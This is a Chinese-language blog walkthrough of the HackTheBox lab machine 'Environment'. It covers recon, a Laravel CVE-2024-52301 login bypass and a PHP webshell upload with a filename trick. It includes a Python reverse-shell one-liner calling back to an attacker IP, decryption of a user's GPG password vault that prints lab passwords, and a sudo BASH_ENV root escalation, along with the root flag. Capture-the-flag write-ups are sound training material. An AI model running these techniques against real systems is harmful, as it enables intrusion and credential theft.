HTB Environment - Zsm's blog

zsm

Time can create anything

浏览量：-，访问次数：-

Announcement

A ctfer? maybe.

Learn More

分类

标签

笔记 crypto docker golang HMV HTB k8s mac nodejs sagemath shell THM vscode vuln web windows wsl2

857 字

4 分钟

HTB Environment

2025-06-02

渗透

HTB

浏览量：加载中...，访问次数：加载中...

前言#

一个很有意思的靶机，HTB中等难度

外网打点#

按照惯例nmap+dirsearch

1
nmap -sC -sV 10.10.11.67
2
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-31 20:35 CST
3
Stats: 0:01:21 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
4
Connect Scan Timing: About 46.63% done; ETC: 20:38 (0:01:29 remaining)
5
Stats: 0:02:17 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
6
Connect Scan Timing: About 54.81% done; ETC: 20:39 (0:01:50 remaining)
7
Stats: 0:03:05 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
8
Connect Scan Timing: About 61.43% done; ETC: 20:40 (0:01:54 remaining)
9
Stats: 0:05:10 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
10
Connect Scan Timing: About 79.51% done; ETC: 20:42 (0:01:19 remaining)
11
Stats: 0:06:55 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
12
Connect Scan Timing: About 94.33% done; ETC: 20:43 (0:00:25 remaining)
13
Stats: 0:06:55 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
14
Connect Scan Timing: About 94.34% done; ETC: 20:43 (0:00:25 remaining)
15
Nmap scan report for 10.10.11.67
16
Host is up (1.1s latency).
17
Not shown: 998 closed tcp ports (conn-refused)
18
PORT   STATE SERVICE VERSION
19
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
20
| ssh-hostkey:
21
|   256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
22
|_  256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
23
80/tcp open  http    nginx 1.22.1
24
|_http-title: Did not follow redirect to http://environment.htb
25
|_http-server-header: nginx/1.22.1
26
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
27

28
 python dirsearch.py -u http://environment.htb -w /Users/zsm/CTF/tool/kali_word/dirb/wordlists/big.txt
29
  _|. _ _  _  _  _ _|_    v0.4.3
30
 (_||| _) (/_(_|| (_| )
31

32
Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 20469
33

34
Target: http://environment.htb/
35

36
[20:45:45] Scanning:
37
[20:49:52] 301 -   169B - /build  ->  http://environment.htb/build/
38
[20:49:52] 301 -   169B - /build  ->  http://environment.htb/build/
39
[20:52:23] 200 -     0B - /favicon.ico
40
[20:55:04] 200 -    2KB - /login
41
[20:55:04] 302 -   358B - /logout  ->  http://environment.htb/login
42
[20:55:10] 405 -  244KB - /mailing
43
[20:58:33] 200 -    24B - /robots.txt
44
[21:00:09] 301 -   169B - /storage  ->  http://environment.htb/storage/
45
[21:01:19] 200 -    2KB - /up
46
[21:01:20] 405 -  244KB - /upload
47
[21:01:39] 301 -   169B - /vendor  ->  http://environment.htb/vendor/
48

49
Task Completed

有个很明显的登录页面，进去看看，随便输入试试有报错回显，但是目前不知道有什么可以打的地方

mailing这个也可以访问，并且看见PHP 8.2.28 — Laravel 11.30.0，在登录去打CVE-2024-52301，并且这个页面好像可以泄漏部分源码的，但是我没怎么看，直接按照cve的打了

成功登录之后发现有图片上传的地方，传个马上去，注意*.php的话访问只会下载，所以要*.php.

1
------WebKitFormBoundaryILrUEQYf3y8xqp85
2
Content-Disposition: form-data; name="upload"; filename="zsm.php."
3
Content-Type: image/png

成功拿到路径

1
{"url":"http:\/\/environment.htb\/storage\/files\/zsm.php","uploaded":"http:\/\/environment.htb\/storage\/files\/zsm.php"}

这个马是可以用的，但是不知道为什么bash弹一直出不来，我就直接用python弹了

python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.16.39”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(“/bin/bash”)’

可以拿到user.txt

1
Connection from 10.10.11.67:44294
2
www-data@environment:~/app/storage/app/public/files$ ls
3
ls
4
bethany.png  hish.png  jono.png
5
www-data@environment:~/app/storage/app/public/files$ cd ~
6
cd ~
7
www-data@environment:~$ ls
8
ls
9
app  html
10
www-data@environment:~$ cd /home
11
cd /home
12
www-data@environment:/home$ ls
13
ls
14
hish
15
www-data@environment:/home$ cd hish
16
cd hish
17
www-data@environment:/home/hish$ ls
18
ls
19
backup  root.sh  user.txt

提权#

先提权到用户hish，在backup里面发现好东西

1
www-data@environment:/home/hish/backup$ ls
2
ls
3
keyvault.gpg

有个gpg文件，找了个通用的方法

1
# 1. 拷贝 hish 用户的密钥目录
2
cp -r /home/hish/.gnupg /tmp/mygnupg
3

4
# 2. 设置权限
5
chmod -R 700 /tmp/mygnupg
6

7
# 3. 确认是否存在私钥
8
gpg --homedir /tmp/mygnupg --list-secret-keys
9

10
# 4. 解密 keyvault.gpg
11
gpg --homedir /tmp/mygnupg --output /tmp/message.txt --decrypt /home/hish/backup/keyvault.gpg
12

13
www-data@environment:~$ ls /tmp
14
ls /tmp
15
message.txt
16
mygnupg
17
systemd-private-71ad283a49be45459b5ebdeb26ff8e08-systemd-logind.service-dwJgyf
18
systemd-private-71ad283a49be45459b5ebdeb26ff8e08-systemd-timesyncd.service-LkFYou
19
vmware-root_499-2117352874
20
www-data@environment:~$ cat /tmp/message.txt
21
cat /tmp/message.txt
22
PAYPAL.COM -> Ihaves0meMon$yhere123
23
ENVIRONMENT.HTB -> marineSPm@ster!!
24
FACEBOOK.COM -> summerSunnyB3ACH!!
25
www-data@environment:~$ su hish
26
su hish
27
Password: marineSPm@ster!!

这个时候就是用户权限了，先正常信息收集

1
hish@environment:/var/www$ sudo -l
2
sudo -l
3
[sudo] password for hish: marineSPm@ster!!
4

5
Matching Defaults entries for hish on environment:
6
    env_reset, mail_badpass,
7
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
8
    env_keep+="ENV BASH_ENV", use_pty
9

10
User hish may run the following commands on environment:
11
    (ALL) /usr/bin/systeminfo

其中可以看到env_keep保留了ENV和BASH_ENV两个环境变量因此可以用于绕过

1
hish@environment:~$ echo 'bash -p' > exp.sh
2
echo 'bash -p' > exp.sh
3
hish@environment:~$ chmod +x exp.sh
4
chmod +x exp.sh
5
hish@environment:~$ sudo BASH_ENV=./exp.sh /usr/bin/systeminfo
6
sudo BASH_ENV=./exp.sh /usr/bin/systeminfo
7
root@environment:/home/hish# id
8
id
9
uid=0(root) gid=0(root) groups=0(root)
10
root@environment:/home/hish# cat /root/*
11
cat /root/*
12
1ec8b9b660747555f3ee577fc32f3250
13
cat: /root/scripts: Is a directory